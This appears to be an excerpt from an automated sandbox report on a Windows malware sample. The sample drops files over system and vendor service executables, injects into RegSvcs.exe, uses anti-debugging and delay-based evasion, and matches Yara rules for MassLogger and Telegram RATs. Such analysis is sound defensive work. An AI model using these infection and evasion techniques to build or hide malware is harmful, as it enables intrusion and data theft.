Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\ehome\ehsched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\ehome\ehrecvr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\System32\dllhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\ieetwcollector.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to dropped file

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\ehome\ehsched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\ehome\ehrecvr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File created: C:\Windows\System32\dllhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\ieetwcollector.exe	Jump to dropped file

Source: C:\Windows\System32\msdtc.exe

File created: C:\Windows\DtcInstall.log

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ASP.NET_4.0.30319\Names

Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Code function: 2_2_00C8CBD0 StrStrIW,CloseHandle,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,_wcslen,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,CloseHandle,StartServiceW,

2_2_00C8CBD0

Hooking and other Techniques for Hiding and Protection

Creates files inside the volume driver (system volume information)

Source: C:\Windows\System32\wbengine.exe

File created: C:\System Volume Information\WindowsImageBackup

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

API/Special instruction interceptor: Address: DC00E4

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

2_2_00C92590

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2163	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7680	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Window / User API: threadDelayed 430

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Dropped PE file which has not been started: C:\Windows\System32\dllhost.exe	Jump to dropped file

Source: C:\Windows\ehome\ehrecvr.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_11-5601
Source: C:\Windows\ehome\ehsched.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_13-5610
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_5-5548

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

API coverage: 5.0 %

Source: C:\Windows\System32\alg.exe TID: 3440	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe TID: 3772	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe TID: 3812	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\ieetwcollector.exe TID: 3968	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\msdtc.exe TID: 4064	Thread sleep count: 430 > 30
Source: C:\Windows\System32\msdtc.exe TID: 4064	Thread sleep time: -43000s >= -30000s
Source: C:\Windows\System32\msiexec.exe TID: 2180	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\vds.exe TID: 2912	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\wbengine.exe TID: 848	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\AcroApp\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Esl\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\AcroApp\ENU\	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\adobe\Acrobat Reader DC\Reader\	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Code function: 2_2_00CA1361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00CA1361

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

2_2_00C92590

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C61130 mov eax, dword ptr fs:[00000030h]	2_2_00C61130
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00CA3F3D mov eax, dword ptr fs:[00000030h]	2_2_00CA3F3D
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00331130 mov eax, dword ptr fs:[00000030h]	15_2_00331130
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00373F3D mov eax, dword ptr fs:[00000030h]	15_2_00373F3D

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Process token adjusted: Debug

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00CA1361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00CA1361
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00CA4C7B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00CA4C7B
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00371361 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00371361
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 15_2_00374C7B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00374C7B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008

Jump to behavior

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Y2EM7suNV5.exe"

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Code function: 15_2_00358550 CloseHandle,GetVolumeInformationW,GetVolumeInformationW,wsprintfW,CreateThread,CreateThread,GetLastError,GetLastError,GetUserNameW,GetLastError,GetLastError,CreateThread,GetUserNameW,FreeSid,LocalFree,AllocateAndInitializeSid,CreateThread,CloseHandle,wsprintfW,SetEntriesInAclW,CloseHandle,GetLastError,CreateThread,OpenMutexW,

15_2_00358550

Source: Y2EM7suNV5.exe

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe

Code function: 5_2_00C00080 VirtualFree,VirtualFree,VirtualAlloc,GetUserNameW,GetComputerNameW,GetComputerNameW,

5_2_00C00080

Source: C:\Windows\System32\alg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 12.2.RegSvcs.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3736, type: MEMORYSTR

Opens network shares

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\user\Desktop\Y2EM7suNV5.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: \\user-PC\Users\All Users\Oracle\Java\javapath_target_415196\java.exe	Jump to behavior
